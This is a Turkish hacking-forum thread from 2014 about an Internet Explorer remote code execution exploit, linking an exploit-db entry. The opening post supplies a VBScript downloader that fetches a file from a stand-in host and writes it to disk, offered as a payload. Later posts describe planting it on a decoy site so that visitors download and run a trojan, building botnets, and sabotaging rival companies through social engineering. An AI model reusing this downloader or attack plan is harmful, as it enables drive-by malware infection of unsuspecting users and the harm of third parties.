Internet Explorer < 11 Remote Code Execution

Tahribat.com Forumları
line

Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
line

Internet Explorer < 11 Remote Code Execution

14/Kas/14 23:50 Kısayol Şikayet Özel Mesaj
anarsistherif

Kayıt Tarihi: 27/Ağustos/2009
hacilar exploit-db'de gordum ie 11 alti surumlerde uzaktan kod calistirmaya yarayan bi exploit paylasmislar.

http://www.exploit-db.com/exploits/35229/

exploite yukardan erisebilirsiniz, bu da benden kıyak downloader.
```
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")

dim bStrm: Set bStrm = createobject("Adodb.Stream")

xHttp.Open "GET", "http://bla.com/xxx.png", False

xHttp.Send



with bStrm

    .type = 1 '//binary

    .open

    .write xHttp.responseBody

    .savetofile "c:\temp\xxx.png", 2 '//overwrite

end with
```
=)
Alıntı yap
15/Kas/14 00:04 Kısayol Şikayet Özel Mesaj

nick6
0x656e

Kayıt Tarihi: 19/Mayıs/2012

devlet sitelerine bunların koyulduğunu düşünemiyorum kayıtlı paralolar falan hepsi gider valla

Alıntı yap
15/Kas/14 00:08 Kısayol Şikayet Özel Mesaj

Herbokolog
KaptaN

Kayıt Tarihi: 30/Ağustos/2005

nasıl kullanabiliriz mesela bunları ?

Alıntı yap
15/Kas/14 00:22 Kısayol Şikayet Özel Mesaj

anarsistherif

Kayıt Tarihi: 27/Ağustos/2009

açıyon paravan bi site koyuyon kodları elemanlara trojanı indirtip açtırıyon. sonra gelsin botnetler gelsin hacklinkler vs.

sosyal mühendislikle bölgenizde rakip oldugunz firmalara cok pislikler yapabilirsinz dusundum de biraz:))
anarsistherif tarafından 15/Kas/14 00:27 tarihinde düzenlenmiştir

=)

Alıntı yap
15/Kas/14 01:34 Kısayol Şikayet Özel Mesaj

Varg

Kayıt Tarihi: 08/Mayıs/2007

abi konuyu gizleyin :)

Alıntı yap
15/Kas/14 08:16 Kısayol Şikayet Özel Mesaj

SerYolcu

Kayıt Tarihi: 14/Ocak/2010

Mozilla Firefox kullanıyoruz, bizde sıkıntı yok :)

Ondan çocuk olmamıştır (Kimsenin babası değildir). Kendisi de doğmamıştır (kimsenin çocuğu değildir). İhlas Suresi 3 üncü ayette bunlar yazar.

Alıntı yap
15/Kas/14 13:30 Kısayol Şikayet Özel Mesaj

Cosmic

Kayıt Tarihi: 14/Haziran/2006

edit: 2009 da yayınlanmış kod. ne kadar çalışıyodur acaba
Cosmic tarafından 15/Kas/14 13:32 tarihinde düzenlenmiştir

Bittik biz bittik

Alıntı yap
15/Kas/14 14:39 Kısayol Şikayet Özel Mesaj

anarsistherif

Kayıt Tarihi: 27/Ağustos/2009

hayir daha taze. microsoft'da bugun update yayinladi. denedim ben calisiyor.

http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Exploit%3AVBS%2FCVE-2014-6332&ThreatID=-2147277216#tab=1

Published: 2014-11-13

=)

Alıntı yap

Toplam Hit: 2613 Toplam Mesaj: 8

Cevapla